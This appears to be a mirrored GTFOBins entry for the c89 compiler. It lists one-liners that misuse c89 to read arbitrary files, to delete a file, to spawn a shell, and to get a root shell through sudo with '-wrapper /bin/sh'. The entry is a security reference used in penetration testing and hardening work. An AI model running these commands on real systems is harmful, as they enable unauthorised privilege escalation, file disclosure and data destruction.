mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-27 07:18:48 +01:00
16 lines
327 B
Markdown
16 lines
327 B
Markdown
|
---
|
||
|
functions:
|
||
|
file-read:
|
||
|
- code: |
|
||
|
LFILE=file_to_read
|
||
|
c89 -x c -E "$LFILE"
|
||
|
file-write: # XXX this should be file-delete
|
||
|
- code: |
|
||
|
LFILE=file_to_delete
|
||
|
c89 -xc /dev/null -o $LFILE
|
||
|
shell:
|
||
|
- code: c89 -wrapper /bin/sh,-s .
|
||
|
sudo:
|
||
|
- code: sudo c89 -wrapper /bin/sh,-s .
|
||
|
---
|